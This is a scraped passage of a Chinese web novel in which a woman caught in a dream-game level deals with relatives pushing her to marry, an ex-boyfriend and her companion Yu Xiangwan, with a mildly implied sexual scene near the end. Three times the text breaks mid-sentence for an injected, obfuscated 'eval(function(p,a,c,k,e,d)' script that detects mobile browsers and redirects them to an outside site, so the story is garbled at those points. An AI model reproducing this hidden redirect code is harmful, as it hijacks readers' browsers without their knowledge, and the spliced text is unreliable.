既然任务是不让亲戚们说关于催婚的事,那这个原本的身份可能饱经其苦了,过年也不想回家。 “怎么了,这么生气。”她若无其事地大步走入堂屋。 外面实在太冷了,一路上从村口过来给她冻得哆嗦,还有小巴士上也漏风,虽然看不见冰雪,但是典型的南方寒冬,湿冷湿冷的,寒意从满世界钻进骨头的缝隙。 这种时候,旁边人说的话再难听也阻止不了她先取暖。 “又给你老妈装傻?不结婚以后别回家,我有没有这么说过!你有没有这么答应过!” 裴心念充耳不闻。 她在大厅到处转了转,这是农村自建房的一层,大厅较为宽敞,应该是逢年过节摆席的时候都会利用的场地。 她往正中间的大桌子旁一坐,捻起两颗砂糖桔开始剥,一边不疾不徐地回:“您是养了一张结婚证当孩子?不结婚我就不是您亲生的啦。” 她这句话语调软绵绵甜丝丝,和嘴里的橘子一个味道,乍一听起来没有任何攻击性。 “这就对——” 李春华的话说到一半,脑子才把她说话的内容理解到位,顿时柳眉倒竖,举起手里的笤帚就要打。 “说的什么话!” “生你有什么用,读个书把脑子读坏了,就知道顶嘴。” 裴心念一躲,李春华就一笤帚杵到摆年货的桌子腿上。桌脚一歪,骨碌碌滚下来几只黄澄澄的橘子。 别的不说,这个砂糖桔还挺好吃的。 裴心念咂咂嘴,有种没被科技污染过的美感。 不过,她好歹是从老乡充满表演性质的台词中,得到了一些具体的信息。 她方才说话用的是最标准的中央星通用语,没有口音,但李春华似乎并不奇怪。 不排除是李春华没有反应过来,但话里话外的意思,更有可能是裴心念这些年都在外读书,所以不太回家。 好不容易飞出去这么多年,回到家乡就被唾沫星子伺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17047736|191972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 候,简直在自找苦吃。 裴心念想好了,下周目可以直接不回来,在bb机里发条惊天地泣鬼神的消息,譬如说马上有人要去村里开采大金矿,用来预制大年初一全村的八卦内容,也是转移注意的一种方法。 “去去去,看到你就烦,去给奶奶端点水。”李春华推搡着她。 裴心念于是慢悠悠地换了个方向,走向一楼角落的小房间。 老人家腿脚不好,不方便爬楼梯,这乡村自建房又没有电梯,所以老人一般都住在一楼。 “奶奶?”裴心念推开门,在昏暗的屋里看见一个蜷缩在床上的人影。 【奶奶】,系统的姓名索引未免过于敷衍了。 【这是通过人物的记忆来的,爷爷、爸爸、三婶之类,也都只有一个称呼】 系统解释道。 裴心念站在原地等了等,觉得对方一时半会儿没办法从床上起来,也不打算扰人清梦,干脆往回走。 李春华这时候一把将她挤进来,大声喊: “念念回来了!” 力气挺大,裴心念一个趔趄,实在想不明白当时郁向晚是怎么一个人单挑这么多侍者的。 床上的人应声而起,仿佛液体一样流动,忽的就到了跟前。 看得裴心念心底有些发毛。 这下她终于知道系统说的“中式梦核”是什么意思了。 敢情NPC都没有做好筛选,直接让诡异来扮么! 眼前的“奶奶”吊着暗红色的眼睛,枯枝一样的手臂伸出来抓住她: “念念啊,奶奶多么希望死前能看到你结婚啊!” 裴心念默默抽回手。 这诡怎么有股译制腔。 一旁的李春华却半点没有觉得不对劲,应和着: “就是就是,你结婚了,弟弟妹妹才能结婚啊!怎么这么自私。” “怎么说,你们要把我炼成人偶,典当完了换彩礼?”裴心念莫名其妙,“不然他们想结婚就结婚,关我什么事。” “你!” “您说说,结婚有什么好啊?” “结了婚有人照顾你——” “我看不然。”裴心念上下打量生了蜘蛛网的房间,“我找城里的大师看过了,如果奶奶没和爷爷结婚、妈妈没和爸爸结婚,你们的财运就不会被挡,现在过得好多了。” 她说得煞有介事。 “你看啊,就拿现在这事说吧,不结婚不生我,你们也不用在这里着急了。”她颇为遗憾地摇头,“福气都结没了,难道不是这个道理?” 李春华对此哑口无言,一张脸憋得青一块白一块,硬是没说出反驳的话。 ……也许她的财运真的被影响过吧。 裴心念从这间奇怪的房间退了出来,也不知道她们两人在里面还会面面相觑到多久。 既然有弟弟妹妹,现在应该在家里吧。 她决定去找找。 虽然没了修改器,不需要进行梦境关卡的数据解析,但裴心念还是习惯了四处搜罗探索的玩法,不多跑跑地图就不得劲。 不过呢,这小小一栋农村自建房,她上上下下走了一遍,也没看到小孩的踪迹。 可能是在村口村尾某些地方玩? 裴心念想到自己在镇上看见的那些小孩子们,确实也不在自己家里,人长了两条腿,都会往自己感兴趣的地方跑。 于是她走出家门。 她长了个心眼,在疑似自己房间的柜子抽屉中取到了钥匙,免得下次李春华把她关在外面。 “姐姐姐姐!” 走出去不多时,她就在某个水沟旁边听到有人喊自己。 她点了点头,目光停在水沟的油润波光上。 是她眼花了吗,怎么看起来是暗红色的。 还有新鲜血液的味道。 脑袋上顶了个【妹妹】的娃娃头小女孩神秘兮兮地凑到她耳边,语出惊人。 “水闸那边有死人!” 36.第五关(3) 裴心念向着村里唯一的水闸走去。 刺骨的阴风吹得她脑袋发疼,裴心念开始后悔刚刚没有从家里扫荡出一件厚衣服穿。 好冷。 她眯着眼,艰难地辨别孩子们所指的方位。 这是一个靠海的小村庄,上个世纪人们出海打渔得多,也有在附近的水域中养殖水产等习惯。 水闸的作用,除了防洪排涝,还可以保护内湖中养殖的鱼虾河蟹。 这是个很重要的设施,按理来说是会有路牌指示的。 可惜裴心念怎么也找不到。 “啧。”她使劲闭了闭眼,又睁开,无济于事。 她在这里都近视成这样了,居然没有戴眼镜吗? 简直匪夷所思。 “就是这里!”身后的童声叽叽喳喳。 裴心念让跟在身后的孩子们乖乖呆在原地,自己沿着堤坝慢慢走过去。 显然这很危险,冬天水温冰冷,要是掉下去,可能在淹死呛死之前,先冻死。 这不是一种舒服的死法。 不过作为一个有着三条命并且求知欲旺盛的梦主,裴心念还是勇往直前。 走得近了,可以看到堤坝下的水波在不自然地晃动。 裴心念定睛细瞧,避免是自己眼花看错了。 左前方的闸口确实有个人影。 那可怜的躯体头朝下,被某种不可抗力卡在了堤坝的中心位置,还在挣扎。 一缕缕红色的水迹以那里为中心,不断往外扩散变浅。 体力还挺好,别抽筋了。 裴心念眯着眼睛,尝试人为调整焦距,总觉得有种奇异的熟悉感。 不是吧…… 【郁向晚】。 梦境系统的姓名框跳了出来。 裴心念可记得他的右肩还有伤,血大概是从那里蔓延出来的。 郁向晚的水性其实还不错,即使带伤,也不至于无法动弹吧? “喂!” 她喊了两声,没有听见回音,倒是发现系统的姓名框若隐若现,似乎一直在闪动。 这可是从来没有见过的怪事。 “怎么回事?”裴心念问系统。 【该意识体处于两个不同域的交界处】 原来是这样卡住的。 【此人物与梦主任务无关,请——】 “闭嘴。” 裴心念面无表情,强行调用修改器的接口。 撕裂加大时空裂隙,她可是刚刚从秘林那里偷师学到的。 不过这样接口用一次估计就要报废了,出去之后得让郁向晚给她十倍赔偿。 “轰隆——” 原本阴沉的天空转眼变了颜色,天地倒错了一瞬间。 绚丽的霞光像是从某个方向泼上去的,引得岸边的惊呼声此起彼伏。 这本来是她享受周末在游艇上欣赏的晚霞! 裴心念撇撇嘴,拍了拍被捞上来的人。 “醒不醒?” 她在对方的耳边喊,刚才裂口一扩大,他就从水里被甩了上来,说明郁向晚在这个梦境里的刷新地点本来应该在堤坝之上。 他身上完全没有入水的痕迹,反而是裴心念,身上被溅到了一连串水花,冻得一激灵。 “别告诉我你还需要人工呼吸,睡美人鱼。” 她拍了拍身上的水珠,上下牙不受控地打着磕碰,实在太冷了。 再低头仔细观察郁向晚的样子,对方面色如常,只有眼睫颤了颤。 “演技太差了。”裴心念对他非要跟上游艇这件事还没消气,用脚尖踢了踢他的膝窝。 郁向晚还是没反应。 裴心念站起来,做出准备把这条鱼踹回水里的架势。 鱼被吓得咳了好几声,总算是自我苏醒了。 【检测到梦境关卡异常,新增梦主一,二……共四人】 裴心念从上往下俯视着他,听到耳边系统的播报声,皱起眉头。 正常的塞塔梦境关卡,无论任务多么凶险,都是只有一个梦主的。 多梦主往往出现在最恐怖的竞技环节,各个任务之间有冲突,甚至干脆就是争夺同一个排行榜。 这种塞塔梦境很刺激,据说有些人会专门购买这种桥段的直播来看。 也是让她遇到了。 裴心念蹲下来,拍了拍郁向晚的脸颊。 “你现在是我的竞争者吗?”她问。 “不是。”郁向晚自己坐了起来,“我是你的追求者。” “梦境系统给我的任务就是追求你。” 啊? 她的修改器不是没带进来吗—— 好吧,刚刚为了救人用了一下。 估计是她作为NPC时的属性影响了郁向晚的关卡生成。 “对不起。”眼前的人踉跄着站起来,“带我一起吧?” 裴心念哼了一声,扭头就走。 岸边的孩子们看着跟过来的陌生男人,呆滞了半晌。突然不知道谁尖叫了一声,众人惊恐地作鸟兽散。 “这下你变成除夕前夜的水鬼了。”裴心念回头,幽幽道,“等会儿小心被全村人通缉。” “我们可以离开这里。”郁向晚对现状的看法依然很乐观,“谁家水鬼身上一滴水也没有啊。”他只是恰好被卡在那个位置而已。 裴心念边走边跟他说了自己的任务,最后总结道,“要完成我的任务,所以不能走。” “这听起来似乎很好解决。”郁向晚牵扯到右肩的伤口,压不下的笑意变得有些僵硬,看起来确实很疼。 “回去跟我‘妈妈’说,我们俩结婚?” 这两个任务的交叉方式也只能是这样了,裴心念脱口而出。 “如果你的出场方式不是那样就好了。”她摇摇头,“太惊艳了,可能变成流传三代的恐怖小故事。我可不想和水鬼结婚。” “嗯……我可以重新再出现一遍。” 毕竟之前在他头朝下泡在水闸旁边的时候,也只能看到半截身子。 这村里没人知道水鬼长什么样啊。 裴心念瞥他一眼,“还是先把你身上的血腥味盖起来再说。” 郁向晚笑着点头。 “那我可以跟你回家吗?”他充满期待地问。 “不行。擅自跟踪我的事还没有跟你算账呢。” “作为惩罚,你自己收拾好自己,明天再来。” 裴心念走出两大步,又转回来,把自己剩下的零钱塞给他。 “拿着这些钱去村口巴士站走最后一班车。” 然后她头也不回地往前走,准备跟上自己妹妹的步伐,回家取暖去。 不过路上她有点跟丢了小导航。 问了一个站在小卖部门口扫地的婶婶,结果对方看见是她,眼睛一瞪,迸发出惊人的光来。 这是八卦之光。 裴心念打算抬腿就跑,却被婶婶力气惊人的手给扯住。 “念念啊,你是不在学校里谈恋爱了啊?” “哎呀大过年的讲这个是什么意思嘛。”裴心念搓了搓自己被海风冻红了的脸,随便搪塞了几句,抽出身来。 “念念?”货架后面转出来个陌生的面孔,看起来很年轻,身形挺拔,穿着简单的深色格纹衬衫。 她不认识没事,系统认识。 【方衡】。 这又是哪位啊? 自从听到【多梦主】的警告之后,裴心念现在看谁都不太对劲。 谁知道他要做什么。 “呵呵,你认错人了吧。” 裴心念收回目光,准备回去和自己的床培养感情。 她刚刚在家里试过了,老式的席梦思还挺软的,适合在上面睡到地老天荒—— “眼镜,你落在我这边了。”方衡沉声道。 她仿佛都能听见小卖部婶婶倒吸的那一口凉气了。 但这可是她的眼镜! 裴心念还是转过身来,果然在对方的手中看到自己熟悉的黑框眼镜。 还是戴一下吧,再来几个熟悉的人,万一认错了怎么办。 她接了过来,夹在鼻梁上。 对方仿佛没想到会这么容易,整个人看起来像是长出了一口气。 近距离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17050437|191972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看,方衡的眼睛颜色很深,潭水一样不起波澜,唇线薄而平直,显得很严肃。 “新年快乐。”他轻声说,音节很少,尾音差点被呼啸的寒风吹散。 “同乐同乐。” 裴心念挥挥手,不想再说,她感觉自己的一整层躯壳皮肤都被冻得疼。 “你最近还好吗?” 结果人家追了上来,貌似没有放她独自离开的意思。 裴心念继续往家走,百忙之中想,这是村里的大学生都回来了吗? 他也没什么口音。 “系统系统,他是谁?”她小声问。 这个破系统一点也不主动,只出现名字,不说具体信息! 【是你的前男友】 裴心念稍稍停下脚步,有了一点点兴趣。 “什么时候的?不能是村口幼儿园里过家家的那种吧。” 【大学时的男友,你们刚分手不久】 “他和我一个村的?” 【并不是】 “你怎么来这里的?”裴心念倒是真的有点好奇,按照经验来看,回村里的几趟巴士时间相隔很久,正常人类作息都应该是和她一样乘中午那一趟回来啊。 “昨天来的。”方衡走到她身旁,皱眉观察她,就像她脸上有什么奇怪的东西一样。 “脸上有水珠,不冷吗?”他离她有一步的距离,很客气地问。 “没事,我挺好的。”裴心念胡乱擦了擦自己快要冻到开裂的脸,原来是因为这个这么痛,“最后一班车快开了,你不回家过年吗?” 方衡顿了顿,线条清晰的下颌骨也紧了紧,貌似在咬后牙槽。 “之前说好了今年不回去。” “哦,那你自己过得愉快啊。” 裴心念听出来他有言外之意,但是不想理会。 天知道现在有多冷! 她要现在就回被窝里躺着。 “如果……如果有人欺负你,记得可以找我,打电话,没有换。” 方衡赶上两步,难得说话急了点。 “我在自己家里,怎么会被人欺负。”裴心念嘟囔道。 “以前你跟我说过的,不想回家。” “这次本来也是我劝你回来的……或者,过完年再分手呢?”方衡站在原地纠结,一个晃神的功夫,眼前的人就跑走了,没有给他拉住的机会。 裴心念没回头,不知道这个人在她身后看了很久,也不知道他和郁向晚都没乘车离开。 不过这里发生的事倒是很快传了开去,裴心念老远就遇到一大爷,咧嘴露出焦黄的牙齿:“裴家大闺女,是不是有你的小男朋友来找你了?” “说的什么话。”裴心念白了他一眼,“你再抽就等着去跟阎王要男朋友吧。” “诶!”被骂了一跟头的大爷没想到自己会被晚辈还嘴,直提着旱烟在原地跳脚,路过的年轻人都捂着口鼻笑他。 裴心念继续走,终于回了家。 不过她只在被子里躺了一会儿,就被李春华揪起来,让她去找妹妹。 “这么晚了也不回来,你赶紧去找找。” 裴心念本来反驳,想想妹妹出门找水鬼的兴奋劲儿,还是下了床。 毕竟小朋友嘛,天黑了在外面哭鼻子可不好。 她搓着手从村尾走到村口,正看到仰着脸的自家妹妹。 “想知道我姐姐小时候喜欢吃什么?” 竟然有三个青年人在那里全神贯注地听她讲话。 “我今年买的烟花不够了。” 真是好孩子,就这样为了一包烟花出卖姐姐。 裴心念啧了一声。 除了郁向晚和方衡,另外一个又是谁啊? 【林木】,这是新角色头顶上的光标。 当然,对于裴心念认人来说,这并没有很大的帮助。 这个该死的系统又不介绍人物关系,要它有什么用! 【梦主,新角色是方衡的好友】 塞塔梦境系统似乎听到了她的怨念,小声补充。 好吧,还算可以。 她前男友怎么还摇人来啊。 37.第五关(4) “小妹?”裴心念把贪玩的小孩拉到身边。 她弯下腰,对妹妹柔声道: “这些是陌生人,万一把你本来有的烟花骗走了怎么办。” 妹妹果然躲到了她身后,却依然恋恋不舍地抬头偷看。 有一整盒烟花,说不准就能多玩半天呢,这可是过年才有的游戏! “你们怎么回事,还不走?”裴心念双手叉腰,对自己认识的两位发出质问。 她可是记得,每一个她都好言相劝了,甚至还给其中一位资助了路费! “你,用什么贿赂我妹妹的?”裴心念凑上去,拽住郁向晚的衣领,狐疑道。 别人她不知道,郁向晚身上有几个子她还不清楚嘛? 刚刚捞出来的新鲜水鬼,半个钢镚都没有,能拿出手的恐怕只有她辛苦赚来的几块钱。 郁向晚连忙举起双手表示投降,没有反抗,笑得眉眼弯弯,仿佛很满意似的。 “你给我的车票还都在呢。”他低声说,偏偏是能让身旁两人都听见的音量,乖乖让裴心念翻他的衣兜。 左边外套口袋里,一摸,六枚硬币。 这些硬币是裴心念特地在车站换的,面值不是一分也不是一角,而是一元。 六元巨款。 “我听说这位方同学跟你拜过年了,送了你的眼镜回来?”郁向晚带着笑意问,语调轻松,“我也要说新年快乐。” “怎么?”裴心念来回数了两遍,正疑心此人是要空手套白狼迷惑小孩,掌心里突然被一个方方正正的棱角硌到。 “这里也有新年礼物。”郁向晚接着说,盒子被送到她手中,“新年快乐,念念。” 裴心念把手从他掌中抽出来,仔细一看,她竟然抓着一盒小型烟花。 小孩友好型的,可以直接抓着用,不容易被烫伤炸伤,在刚才那间超市里面,这估计还是抢手货。 裴心念回头看了一眼缩头缩脑的小妹妹,很是赞赏地对她比了个大拇指。 孩子还是挺有眼光的,起码没看上那种只会冲天的哑炮,有安全意识。 “嘿嘿。”妹妹也不知道自己怎么突然得到了夸奖,总之看见姐姐夸自己,高兴地挠了挠后脑勺,傻乐。 “你又没花钱,这是哪里来的?不是从超市抢的,也不是从他们俩身上打劫的?” “当然不是。” 郁向晚认真道。 旁边被她提及的两人似乎有意见,林木几次想说话,都被抿唇严肃的方衡拦住了。 …… 不要怪她误会,这真的很像是被打劫之后为了表面和平,强忍不告状的样子。 裴心念对于观赏郁向晚作威作福这事一向喜闻乐见,于是笑眯眯地转向在场唯一一个素未谋面的新角色。 “你怎么也来了?”她主动问林木,打算套套话。 柿子先挑软的捏,在场三位,他看着最呆了。 林木与身旁的两人比起来,肤色偏黑,个子也高一些,但没有压迫感,反而显得愣头愣脑。 “裴同学,你别不要他!”林木一听自己得到了发言权,立马指指方衡,努力推销,丝毫不管自己有多么语出惊人。 “他不会、不会说话,我来火上浇油嘞。” “噗嗤。”裴心念很不给面子地笑了出声,谁教他这么用成语的。 能听出来林木有口音,不过和这个村里人的口音又不同。 说话磕磕绊绊的,居然还嫌弃方衡不会说话吗? 方衡以手掩面,再不阻拦,都是徒劳的尝试。 早知道,他就不该把地址告诉林木。 “怎么说?”裴心念点点头,表示自己听懂了他的话,示意林木继续。 “他平时只是冰冻三尺、而已!” 【梦主梦主,别被欺骗了】 梦境系统急道。 【这个前男友可是自己说的不喜欢你不爱你要提分手的】 裴心念的唇角抽了抽。 解释就解释,怎么还急眼了呢。 作为一个S+级别病毒的系统,说话不带标点,这不太合适吧。 “这是我们两个人之间的事情,我和他商量好就行,你别管了。” 裴心念平静道,实际上思路已经飞出去几万里了。 在这种情况下,可能性最大的就是:林木也是一名梦主,任务是让两人破镜重圆。 虽然看着林木的文盲模样,不太像能完全理解任务的,但为了保险起见,还是减少接触,避免蝴蝶效应为妙。 “你们赶紧走吧,村里的巴士马上就没有了。”裴心念掂了掂手中的烟花礼盒包装。 郁向晚真的打劫了那两个人吗? 不说以一敌二,林木看起来像是四肢发达头脑简单的类型,战斗力会那么差吗—— “哎哟,这就是我给你说的那位大师!” 路边出现了两位互相搀扶的老奶奶,目标是直指裴心念……身旁的郁向晚。 他摊了摊手,“这是来钱快的工作。” 算命。 原来他送的烟花是这么赚来的。 这就是心理学的就业应用方向吗? 裴心念在一旁听着郁向晚胡扯。 “今年是大火冲天之年,木火相生,福气十足,您这个大运又要起势啦。” ……九十岁了,还要走大运啊。 旁边的林木充满求知欲地看着裴心念,似乎指望她能帮忙解说一番。 “别看我,我也不知道。” “他我继续看着,你们就别留了,赶紧赶车去吧。”裴心念望向看起来最靠谱的方衡,试图让他把林木给抬走,不要打扰她通关。 方衡拦着林木,不让他扑到裴心念眼前,但也没有要离开的意思。 夕阳从他的身后投下光影。 “林木说他是小三。他是不是很会讨你欢心?”方衡很认真地问,语气也是严谨求问的语气,和说话的内容有些割裂,似乎只是真的好奇这个问题的答案。 被指为插足者的郁向晚连看都不看这边,只是把裴心念冻僵了的手放到自己的口袋里。 “你应该也能看出答案吧。”裴心念耸耸肩,“我们已经结束了,别说他是小三。” 明明是先说不喜欢提分手的人,管得还挺宽。 方衡沉默。 裴心念把手里的烟花盒给了小妹,告诉她这几个人里只可以相信郁向晚,就让她先回家了。 一旁郁向晚的业务居然没有马上结束,两个完了又有三个,排起了一条小小的队伍。 “我要冷死了。”裴心念凑到他耳边说。 郁向晚捏了一下她的指尖,扬声说明今天只看最后一名幸运儿。 即使是尽早结束,算命的人群散去之后,黄昏的夕阳也收走了它最后一丝余晖。 “没办法,今天的车可能晚了。” 郁向晚很可怜地看着裴心念,根本就当在场的另外两人不存在,向她伸出手,掌心向上,“我们去把小卖部的烟花都搬空吧?” 裴心念毫不犹豫地牵住他。 这次是因为身份突然转换成梦主,她稍微有点紧张。 其实在哪里不是玩呢? 享受享受吧,这可是腊月除夕的烟花。 当初在荒星上,她和郁向晚可是想了一整个少年时代,最后也没能放上。 两人一起往快要关门的小卖部狂奔,身后有挽留的声音,不过被冬日的寒风遮掩过去,不值一提。 “这个连天炮也要,三星旋转也要。” 裴心念灵巧地在货架周围穿梭,把自己看中的都盘了下来。 屋里没有暖气,挥一挥就冻手,结账的时候她不得不边跺脚边把两只手凑到脸颊旁,不住地呵气。 郁向晚从村里人钱包里掏的年货钱可真不少。 裴心念眼睁睁看着一整排亮亮的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17053649|191972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 硬币摆开,在劣质的灯具底下闪着幽幽的光,恍惚了一瞬间。 等回过神来郁向晚已经握住了她的手,把两只冻得通红的手用一只大手全部包裹住,贴在他温暖的脖颈下方。 “要不然今天晚上就实施我们的计划吧。” 告诉家里人她们在一起了,两个人的任务都可以实现。 这样,之后的时间都可以无忧无虑地放烟花。 郁向晚在昏昏的灯光下对她发出邀请,眼睛里的光亮亮的,让人很难拒绝。 裴心念点了点头。 回家的路两人走得慢一些,郁向晚尽量为她把风挡住,因为晚上更冷。 到家门口一看,大门果然是紧闭的。 郁向晚刚要张口,见到怀里女孩上扬的眉眼,就知道她有办法,于是安静地等。 裴心念哆哆嗦嗦地从怀里取出她的钥匙,“咔哒”一声开了门。 这声音让门柱子旁边的两颗脑袋探了出来。 “看什么看。”裴心念用耳朵看都知道是方衡与林木,她趾高气昂地抬了抬下巴,“说了多少遍了要赶车,别想着我现在收留你们。” 真是的,一个前男友一个前男友的朋友,这种配置也是能求复合的? 她的评价是,不如蒋淮之有诚意。 要不然就一个人来追嘛,胆小鬼。 “我有东西要给——” “哐当”一声,裴心念关上锁,只让郁向晚进了门。 一楼的屋里灯火通明,果不其然,两人和李春华打了个照面。 按理来说,腊月二十八晚上,家里闺女突然带回来一个大活人,还是之前从来没见过没听过的新面孔,任是谁都要吓一大跳。 裴心念也做好了李春华会抄起角落的笤帚一顿挥舞表演的准备。 哪知道她一见到两人走进,瞬间满面红光,似乎完成了什么大事一样,解脱一般拍了拍胸口,连连感叹: “你这孩子,找到人了可不得跟我说啊!” “真是吓死你妈妈了。” ……等一下。 正常催婚不都是要看相亲对象的条件么,李春华倒好,随便看一眼就行了? 这母女情也太塑料了,她的梦境关卡任务不会仅仅是把她嫁出去吧。 “妈——你都不问问我们怎么认识的?” 裴心念眯起眼睛,审视着对方的态度。 “哎哟哎哟,缘分天注定,你们今晚就去念念的屋里呆着吧,明天我给你们多拿一双筷子。” “谢谢妈,我们是在一起了,年后就结婚。”郁向晚倒是对如此拙劣的情景剧来劲了,顺着微笑应承,对裴心念眨了眨眼。 “你不觉得她也像个来完成任务的吗?” 裴心念扯着他的衣领把他拉低,边走边和郁向晚小声说:“她也是梦主之一。” “知道,我在游艇上也见过这张脸。” “那你演得那么投入。”裴心念撇撇嘴。 “啪嗒”。 打开灯,这个小小的卧室就被暖黄色的光线覆盖,似乎在视觉上也不那么冷了。 不过问题是这个地方是个单独空出来的阁楼,和其他任何房间都不连着,不仅孤零零一屋,还特别挤,连转圜的余地都没有。 脚下一张小床,床尾一个小柜子——裴心念就是从那里找到的大门钥匙——床头一张只能放下半张纸的小木桌,然后就只剩下她们两人现在站立的位置,有个小小的镜子,下面用四脚木架子支撑,中间的平台上正正好摆了一个铁盆,挂着毛巾,洗脸用的。 没有窗户,能喘气的地方只有那扇小门。也不知道这种环境,这个角色是怎么考上大学的。 她就是很厉害啊,裴心念自我肯定地点点头。 她踮起脚尖,去勾郁向晚的肩膀,问他: “你觉得,我们要留一个人守夜吗?” “这里能进来的地方好像只有门诶。” 38.第五关(5) 只有一扇门的话,还挺易守难攻的。 郁向晚对她的画外音心领神会:“想睡懒觉?” 裴心念哼了一声:“难度应该不是很大吧,只要盯着门就行了。” “而且你乱跑非要上船,我还没完全原谅你呢。” “也没有听话坐车去镇上包扎……” “都听你的,等下我看门。”郁向晚先答应了她,才解释,“刚刚在路上简单处理过了。” “你去买药了?”裴心念观察他的右肩。 冬天衣服厚,表面上看不出什么问题。 “这村子里还有卖伤药的地方吗?” 过年连卫生站都关门了,总不可能拿个创可贴对付上了吧。 郁向晚张开手任她检查:“再晚一步就来不及了。” 裴心念费劲地把对方的三层衣服都掀开,左右看看,一眼没看到目标。 白皙的皮肤很完整,仔细端详才能发现右肩有一处正在飞快愈合的暗色疤痕。 裴心念难得噎了一下。 她一巴掌把对方推远,就差没翻白眼。 再晚一步就愈合了,亏她还担心。 “不早说。” 郁向晚也没管自己现在衣衫不整,顺手帮她把厚厚的棉服外套解开,准备放在门后的挂钩上,“罪加一等了,希望明天太阳升起的时候可以原谅我。” “不原谅也没关系,明天我们还要出门放一天的烟花,到时候我还可以努努力,你说对不对?” 裴心念认同地点点头,飞快把外裤和毛衣也换下来,尝试从柜子里找到睡衣。 很可惜,并没有。 所以她只能哆嗦着缩回冻得僵硬的棉花被里,再次在心里破口大骂南方为什么没有暖气。 腊月的风呼呼地从屋外路过,也许在阁楼的尖顶上打了个旋儿,拐着弯送来寒气。 裴心念只恨砖瓦房子带的是木头筑成的阁楼,感觉自己的手脚都像埋在雪地里一样。 郁向晚也把自己收拾好,钻到了她旁边,他倒是暖和一点。 裴心念深呼吸了几次,试图让自己通过蒸腾睡意来酝酿热气。 可惜没结果,她的上下牙都开始不受控地打磕碰,已经是在打寒战了。 “很冷吗?”郁向晚握住她的手。 “冷死了。” 裴心念小声嘟囔,她的脑袋有点被冻得晕了,总觉得屋里的灯光在旋转,晕出七彩的色旋来。 “你过来,”她使唤郁向晚,试图把整个人都团到对方怀里取暖,“抱。” 很好,外面一圈温度升高了。 裴心念心满意足地打好窝,世界在她周围沉静了好几分钟。 几分钟之后,她感受到额头上落了一个很轻的吻。 郁向晚屏住呼吸等她的反应。 裴心念没有推开他,而是像只小虫似的蠕动,迷迷糊糊地伸出手往上一摸,他的脸比她的掌心还要烫,耳朵也是。 “你怎么这么热。”她很不满,“多分点行不行。” “行。”郁向晚说这句话的时候似乎咬牙切齿,不过冷得打脑壳的裴心念没怎么听出来。 他整个人往下去,直到温度偏高的脸熨到她的发凉的腿。 好像在亲她。 裴心念想了想,在头顶灯光晃到眼皮底下的时候突然反应过来,双腿上下踢了踢,把人推开一点。 “喂。”裴心念支起上身,没坚持一秒钟,又缩回被褥里面,“?” “这样会热起来。”郁向晚的回答闷在被子里,听着有些模糊。 “很奇怪诶。”裴心念用手去推他,柔软的发丝穿过指尖,确实有热度传来。 “只是梦境而已,如果需要的话,之后我会忘掉的。”郁向晚停住动作,重新调整了一次被子的位置,把她晾在空气中的皮肤全部好好地塞回去。 “……好吧,那不要开灯。”裴心念睁着眼睛想了一会儿,得出结论。 郁向晚起身把灯按灭了。 裴心念拉过棉被捂着脸,假装听不见黑暗中的风声和隐约水声。 身体以泉水的起源为中心,扩散出去一圈一圈的热意,就像泡在温泉里一样。 也许擅长说话的人唇舌就是会更灵巧一点,她乱七八糟地想着。 “对我的脑袋好点,念念——”郁向晚咳了一声,“不要给我开瓢了。” “放松。” “哦。”她在棉被里摸索,满含歉意地伸手拍了拍似乎要被谋杀的人的脑袋。 但是只拍了两下,手腕也被捉住,窗外的风声更急了。 裴心念不确定自己是否控制住了杀意,总之连咬被子也不太好使了,她开始茫然地用还空余的手到处乱抓。 “呜呜……” 发热的代价是需要落两滴泪的。 裴心念眼睛里闪着泪花,在黑夜里更是什么都看不见了,只有自己的眼泪似乎是清晰的。 郁向晚在擦拭清理这个小阁楼里漏水的地方。 “现在热了没有?”他凑到她耳边问。 现在周围的冷气没有难么难以忍受了,裴心念嗯了两声表示满意。 灯还没有开,头顶上比黑夜更黑的暗影顿了顿,然后忍不住碰了碰她的脸颊。 裴心念恢复了一点活力,反应很大,快速撇开脸:“你先漱口!” 身上的人应该是很轻地笑了两声,走去取了架子上的铁盆,拧开保温水壶。 她听见哗啦啦的水声,又隔了一会儿,晾得差不多温度的毛巾探进来。 干的擦完再擦一遍湿热的,还挺讲究。 裴心念清醒过来,把一双眼睛探出被子外,看着郁向晚黑乎乎的身影。 他顿了顿,本来站在床尾,这时候走过来捂住她的眼睛。 “别看。” 裴心念很是无语,现在她这个视力,只能看得出来有个人形生物在旁边好吧。 “用什么交换?”想是这么想,该勒索的照样勒索。 “我没想好,等你想到了告诉我。”郁向晚替她把棉被拉上去,“要换什么都可以。” “好吧,那我记一次。”裴心念小声说,又扯了扯被子头。虽然现在身体很暖和,但还是盖得严严实实比较舒服。 